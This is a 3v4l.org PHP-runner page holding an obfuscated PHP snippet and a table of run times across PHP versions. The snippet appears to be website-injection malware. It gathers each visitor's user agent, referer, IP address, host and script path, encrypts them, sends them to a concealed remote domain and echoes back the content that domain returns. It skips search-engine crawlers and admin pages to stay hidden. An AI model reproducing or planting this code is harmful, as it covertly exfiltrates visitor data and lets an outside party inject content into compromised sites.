3v4l.org

run code in 300+ PHP versions simultaneously
<?php function en22($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; }; function en2($s, $q) { $l = "strlen"; $p = "pack"; $r = "substr"; $m = "md5"; $g = ""; while ($l($g) < $l($s)) { $q = $p("H*", $m($g . $q . "q1w2e3r4")); $g.= $r($q, 0, 8); } return $s ^ $g; } function g_1($url) { if (function_exists("file_get_contents") === false) return false; $buf = @file_get_contents($url); if ($buf == "") return false; return $buf; } function g_2($url) { if (function_exists("curl_init") === false) return false; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_HEADER, 0); $res = curl_exec($ch); curl_close($ch); if ($res == "") return false; return $res; } function g_3($url) { if (function_exists("file") === false) return false; $inc = @file($url); $buf = @implode("", $inc); if ($buf == "") return false; return $buf; } function g_4($url) { if (function_exists("socket_create") === false) return false; $p= @parse_url($url); $host = $p["host"]; if(!isset($p["query"])) $p["query"]=""; $uri = $p["path"] . "?" . $p["query"]; $ip1 = @gethostbyname($host); $ip2 = @long2ip(@ip2long($ip1)); if ($ip1 != $ip2) return false; $sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP); if (!@socket_connect($sock, $ip1, 80)) { @socket_close($sock); return false; } $req = "GET $uri HTTP/1.0\n"; $req .= "Host: $host\n\n"; socket_write($sock, $req); $buf = ""; while ($t = socket_read($sock, 10000)) { $buf .= $t; } @socket_close($sock); if ($buf == "") return false; list($m, $buf) = explode("\r\n\r\n", $buf); return $buf; } function gtd ($url) { $co = ""; $co = @g_1($url); if ($co !== false) return $co; $co = @g_2($url); if ($co !== false) return $co; $co = @g_3($url); if ($co !== false) return $co; $co = @g_4($url); if ($co !== false) return $co; return ""; } if (!function_exists("comgzi")) { function comgzi($gzData) { if (substr($gzData,0,3)=="") { $i=10; $flg=ord(substr($gzData,3,1)); if ($flg>0) { if ($flg & 4) { list($xlen)=unpack("v",substr($gzData,$i,2)); $i=$i+2+$xlen;} if ($flg & 8) $i=strpos($gzData,"",$i)+1; if ($flg & 16) $i=strpos($gzData,"", $i)+1; if ( $flg & 2) $i=$i+2;} return @gzinflate(substr($gzData,$i,-8));} else{ return false;}} } //} function k34($op,$text) { return base64_encode(en2($text, $op)); } function check212($param) { if(!isset($_SERVER[$param])) $a="non"; else if ($_SERVER[$param]=="") $a="non"; else $a=$_SERVER[$param]; return $a; } function day212() { $a=check212("HTTP_USER_AGENT"); $b=check212("HTTP_REFERER"); $c=check212("REMOTE_ADDR"); $d=check212("HTTP_HOST"); $e=check212("PHP_SELF"); $domarr = array("33db9538","9507c4e8","e5b57288","54dfa1cb"); if (($a=="non") or ($c=="non") or ($d=="non") or strrpos(strtolower($e),"admin") or (preg_match("/" . implode("|", array("google","slurp","msnbot","ia_archiver","yandex","rambler")) . "/i", strtolower($a))) ) { $o1 = ""; } else { $op=mt_rand(100000,999999); $g4=$op."?".urlencode(urlencode(k34($op,$a).".".k34($op,$b).".".k34($op,$c).".".k34($op,$d).".".k34($op,$e))); $url="http://".cqq(".com")."/".$g4; $ca1=en2(@gtd($url),$op); $a1=@explode("!NF0",$ca1); if (sizeof($a1)>=2) $o1 = $a1[1]; else $o1 = ""; } return $o1; } //} if (!function_exists("dcoo")) { function dcoo($cz, $length = null) { if (false !== ($dz = @gzinflate($cz) ) ) return $dz; if (false !== ($dz = @comgzi($cz) ) ) return $dz; if (false !== ($dz = @gzuncompress($cz) ) ) return $dz; if (function_exists("gzdecode") ) { $dz = @gzdecode($cz); if (false !==$dz ) return $dz; } return $cz; } } echo day212();

Here you find the average performance (time & memory) of each version. A grayed out version indicates it didn't complete successfully (based on exit-code).

VersionSystem time (s)User time (s)Memory (MiB)
8.3.60.0100.00718.29
8.3.50.0290.00316.48
8.3.40.0100.00718.79
8.3.30.0110.00718.59
8.3.20.0000.01518.72
8.3.10.0050.00320.52
8.3.00.0000.00817.75
8.2.180.0150.00416.63
8.2.170.0090.00622.96
8.2.160.0100.00322.15
8.2.150.0060.00324.18
8.2.140.0080.00024.66
8.2.130.0040.00426.16
8.2.120.0030.00519.89
8.2.110.0030.00621.06
8.2.100.0100.00317.80
8.2.90.0040.00419.28
8.2.80.0040.00418.18
8.2.70.0060.00317.75
8.2.60.0030.00618.05
8.2.50.0000.00818.07
8.2.40.0040.00418.47
8.2.30.0000.00818.27
8.2.20.0040.00417.91
8.2.10.0000.00917.88
8.2.00.0040.00417.84
8.1.280.0180.00025.92
8.1.270.0050.00323.99
8.1.260.0040.00426.35
8.1.250.0090.00028.09
8.1.240.0000.00922.53
8.1.230.0070.00420.98
8.1.220.0000.00818.77
8.1.210.0000.01019.04
8.1.200.0030.00617.50
8.1.190.0040.00417.65
8.1.180.0090.00018.10
8.1.170.0060.00319.09
8.1.160.0040.00418.99
8.1.150.0000.00718.77
8.1.140.0040.00417.49
8.1.130.0070.00017.96
8.1.120.0000.00817.62
8.1.110.0040.00417.59
8.1.100.0040.00417.62
8.1.90.0000.00817.58
8.1.80.0000.00717.51
8.1.70.0060.00317.58
8.1.60.0040.00417.72
8.1.50.0030.00617.57
8.1.40.0040.00417.58
8.1.30.0030.00517.74
8.1.20.0030.00617.76
8.1.10.0050.00317.71
8.1.00.0000.00817.53
8.0.300.0030.00520.03
8.0.290.0000.00716.63
8.0.280.0040.00418.47
8.0.270.0050.00317.40
8.0.260.0040.00418.67
8.0.250.0000.00717.16
8.0.240.0040.00417.05
8.0.230.0040.00416.99
8.0.220.0040.00416.94
8.0.210.0000.00717.09
8.0.200.0040.00417.10
8.0.190.0020.00517.08
8.0.180.0040.00416.94
8.0.170.0040.00416.98
8.0.160.0050.00217.10
8.0.150.0090.00017.00
8.0.140.0030.00617.01
8.0.130.0000.00613.41
8.0.120.0000.00916.89
8.0.110.0030.00616.90
8.0.100.0040.00417.00
8.0.90.0000.00817.01
8.0.80.0070.01017.01
8.0.70.0040.00416.83
8.0.60.0030.00516.98
8.0.50.0070.00016.99
8.0.30.0070.01217.38
8.0.20.0200.00617.36
8.0.10.0040.00417.01
8.0.00.0110.01016.81
7.4.330.0000.00514.76
7.4.320.0030.00316.61
7.4.300.0050.00216.51
7.4.290.0000.00716.73
7.4.280.0000.00916.62
7.4.270.0080.00016.79
7.4.260.0030.00313.39
7.4.250.0060.00316.67
7.4.240.0000.00716.69
7.4.230.0040.00416.63
7.4.220.0130.01316.69
7.4.210.0070.01016.70
7.4.200.0050.00216.73
7.4.190.0040.00416.87
7.4.160.0140.00616.44
7.4.150.0110.00817.07
7.4.140.0120.00617.36
7.4.130.0060.01316.70
7.4.120.0110.01016.60
7.4.110.0120.00616.51
7.4.100.0040.01716.65
7.4.90.0100.00716.80
7.4.80.0110.00718.80
7.4.70.0110.00816.69
7.4.60.0070.01116.78
7.4.50.0030.00616.65
7.4.40.0100.00322.27
7.4.30.0150.00616.67
7.4.00.0080.00914.97
7.3.330.0060.00013.34
7.3.320.0000.00513.27
7.3.310.0000.00716.58
7.3.300.0000.00716.36
7.3.290.0000.01416.35
7.3.280.0090.00816.43
7.3.270.0060.01217.07
7.3.260.0130.00818.24
7.3.250.0110.00916.65
7.3.240.0070.01116.71
7.3.230.0150.00916.79
7.3.210.0130.00716.46
7.3.200.0140.00819.39
7.3.190.0040.01416.47
7.3.180.0060.00916.52
7.3.170.0130.00316.56
7.3.160.0100.01216.60
7.3.120.0060.01014.94
7.3.110.0110.00814.90
7.3.100.0080.01115.01
7.3.90.0080.00814.95
7.3.80.0060.01015.13
7.3.70.0110.00315.05
7.3.60.0060.00815.04
7.3.50.0040.01014.90
7.3.40.0040.00714.98
7.3.30.0070.00614.90
7.3.20.0030.00916.73
7.3.10.0090.00616.75
7.3.00.0060.00816.60
7.2.330.0150.00316.78
7.2.320.0110.01116.87
7.2.310.0110.00816.64
7.2.300.0100.00616.86
7.2.290.0070.02016.52
7.2.250.0080.01114.91
7.2.240.0040.01615.23
7.2.230.0060.01115.20
7.2.220.0080.01115.07
7.2.210.0090.00515.20
7.2.200.0030.01015.02
7.2.190.0030.01215.21
7.2.180.0030.01215.15
7.2.170.0060.00614.89
7.2.160.0070.00715.08
7.2.150.0040.00716.89
7.2.140.0080.00416.90
7.2.130.0000.01316.96
7.2.120.0030.00917.04
7.2.110.0060.01017.02
7.2.100.0120.00316.80
7.2.90.0030.00717.02
7.2.80.0030.00616.93
7.2.70.0030.01016.87
7.2.60.0100.00516.92
7.2.50.0040.01416.98
7.2.40.0060.00617.05
7.2.30.0000.01116.76
7.2.20.0040.01516.64
7.2.10.0030.01216.89
7.2.00.0030.00918.38
7.1.330.0060.00815.79
7.1.320.0080.00515.77
7.1.310.0050.00515.92
7.1.300.0070.00715.96
7.1.290.0020.01215.93
7.1.280.0050.00615.80
7.1.270.0030.00915.86
7.1.260.0030.00715.77
7.1.250.0100.00315.64
7.1.240.0060.00615.88
7.1.230.0040.00715.64
7.1.220.0030.00715.82
7.1.210.0030.01015.82
7.1.200.0060.00815.79
7.1.190.0070.00715.94
7.1.180.0080.00415.57
7.1.170.0090.00315.88
7.1.160.0030.00915.70
7.1.150.0030.01015.93
7.1.140.0040.00815.74
7.1.130.0040.01215.97
7.1.120.0090.00915.74
7.1.110.0030.00915.66
7.1.100.0110.00316.80
7.1.90.0070.01015.64
7.1.80.0000.01415.93
7.1.70.0040.00816.35
7.1.60.0070.01217.57
7.1.50.0050.01216.56
7.1.40.0080.00315.71
7.1.30.0070.01015.88
7.1.20.0060.00315.77
7.1.10.0030.01015.69
7.1.00.0050.04219.05
7.0.330.0070.00715.30
7.0.320.0040.00815.42
7.0.310.0120.00015.44
7.0.300.0000.01315.37
7.0.290.0040.01115.47
7.0.280.0030.01715.51
7.0.270.0080.00415.23
7.0.260.0030.00615.22
7.0.250.0000.01315.55
7.0.240.0030.00915.41
7.0.230.0030.01015.53
7.0.220.0070.00715.28
7.0.210.0060.00915.52
7.0.200.0040.00616.21
7.0.190.0110.00315.48
7.0.180.0000.01515.46
7.0.170.0070.00715.47
7.0.160.0030.01515.55
7.0.150.0070.00715.48
7.0.140.0070.03818.80
7.0.130.0110.00715.49
7.0.120.0070.00715.67
7.0.110.0030.01415.54
7.0.100.0170.03817.75
7.0.90.0050.03217.77
7.0.80.0100.02817.64
7.0.70.0050.03017.76
7.0.60.0090.02617.66
7.0.50.0070.02417.93
7.0.40.0030.04816.78
7.0.30.0050.04016.88
7.0.20.0060.04016.85
7.0.10.0030.02816.72
7.0.00.0050.02716.72
5.6.400.0040.01114.72
5.6.390.0030.00914.06
5.6.380.0060.00914.53
5.6.370.0030.00614.49
5.6.360.0090.00614.52
5.6.350.0130.00314.11
5.6.340.0070.01314.48
5.6.330.0040.01414.19
5.6.320.0030.00714.48
5.6.310.0060.00914.61
5.6.300.0130.00014.22
5.6.290.0060.00614.70
5.6.280.0040.01414.86
5.6.270.0070.01014.34
5.6.260.0070.01014.58
5.6.250.0110.03317.72
5.6.240.0030.03117.72
5.6.230.0040.03417.67
5.6.220.0050.02417.54
5.6.210.0080.03717.68
5.6.200.0070.02017.77
5.6.190.0070.04417.74
5.6.180.0040.02917.85
5.6.170.0030.03617.79
5.6.160.0120.04017.74
5.6.150.0090.04517.67
5.6.140.0120.04017.84
5.6.130.0100.04217.76
5.6.120.0070.03517.89
5.6.110.0070.04617.79
5.6.100.0070.02217.62
5.6.90.0070.03917.67
5.6.80.0090.02217.37
5.6.70.0070.04317.46
5.6.60.0100.04217.39
5.6.50.0130.02117.60
5.6.40.0030.02717.37
5.6.30.0150.03017.50
5.6.20.0080.04217.50
5.6.10.0120.03717.49
5.6.00.0050.04317.43
5.5.380.0080.03117.40
5.5.370.0060.02817.59
5.5.360.0030.02817.43
5.5.350.0140.03417.52
5.5.340.0130.04017.72
5.5.330.0060.03817.59
5.5.320.0070.03817.70
5.5.310.0060.04117.68
5.5.300.0120.04017.62
5.5.290.0130.02317.49
5.5.280.0050.03017.59
5.5.270.0080.03517.69
5.5.260.0000.03117.58
5.5.250.0050.04017.62
5.5.240.0080.03617.32
5.5.230.0060.03017.43
5.5.220.0070.03117.28
5.5.210.0070.03517.33
5.5.200.0080.02217.02
5.5.190.0120.04017.40
5.5.180.0100.04517.33
5.5.170.0060.00914.21
5.5.160.0050.02817.33
5.5.150.0030.04517.23
5.5.140.0100.04217.21
5.5.130.0090.04217.14
5.5.120.0090.04117.35
5.5.110.0090.03817.18
5.5.100.0030.04617.17
5.5.90.0050.04117.37
5.5.80.0000.03217.24
5.5.70.0050.03017.29
5.5.60.0080.03517.30
5.5.50.0080.03117.15
5.5.40.0030.04117.10
5.5.30.0080.03717.35
5.5.20.0090.04017.02
5.5.10.0050.04816.97
5.5.00.0100.02317.14
5.4.450.0050.04315.75
5.4.440.0080.03715.93
5.4.430.0070.02115.84
5.4.420.0090.03015.92
5.4.410.0020.02915.79
5.4.400.0050.03315.77
5.4.390.0030.03315.69
5.4.380.0050.02315.72
5.4.370.0050.02515.68
5.4.360.0030.03315.69
5.4.350.0110.03015.67
5.4.340.0070.04215.77
5.4.330.0110.00012.33
5.4.320.0050.04515.69
5.4.310.0070.04015.77
5.4.300.0020.03815.69
5.4.290.0120.02815.71
5.4.280.0070.03715.68
5.4.270.0070.03115.78
5.4.260.0080.03515.62
5.4.250.0080.01815.67
5.4.240.0030.05015.60
5.4.230.0110.03215.68
5.4.220.0030.04115.74
5.4.210.0050.03515.75
5.4.200.0040.02615.62
5.4.190.0050.02315.77
5.4.180.0030.02215.79
5.4.170.0040.03715.68
5.4.160.0050.03615.58
5.4.150.0020.03515.74
5.4.140.0000.02714.40
5.4.130.0030.02314.42
5.4.120.0070.02914.40
5.4.110.0090.01914.44
5.4.100.0050.02114.44
5.4.90.0030.02714.41
5.4.80.0030.02214.36
5.4.70.0080.01814.40
5.4.60.0050.01814.44
5.4.50.0060.01814.43
5.4.40.0020.02514.32
5.4.30.0050.02314.37
5.4.20.0050.02414.40
5.4.10.0060.01814.36
5.4.00.0020.02114.04
5.3.290.0020.02513.53
5.3.280.0030.04313.51
5.3.270.0050.01913.50
5.3.260.0050.03913.55
5.3.250.0050.02413.50
5.3.240.0050.02213.57
5.3.230.0070.03013.47
5.3.220.0030.02213.50
5.3.210.0040.02813.52
5.3.200.0060.02013.53
5.3.190.0000.02813.52
5.3.180.0050.02313.48
5.3.170.0050.01813.54
5.3.160.0040.02213.52
5.3.150.0020.02313.45
5.3.140.0030.02113.49
5.3.130.0100.01713.51
5.3.120.0010.02113.47
5.3.110.0030.02113.51
5.3.100.0030.02413.26
5.3.90.0030.01813.19
5.3.80.0060.01813.21
5.3.70.0030.01613.24
5.3.60.0030.01713.27
5.3.50.0060.01813.21
5.3.40.0070.01513.20
5.3.30.0000.02613.23
5.3.20.0030.02213.01
5.3.10.0040.02213.10
5.3.00.0050.02212.99

preferences:
42.29 ms | 401 KiB | 5 Q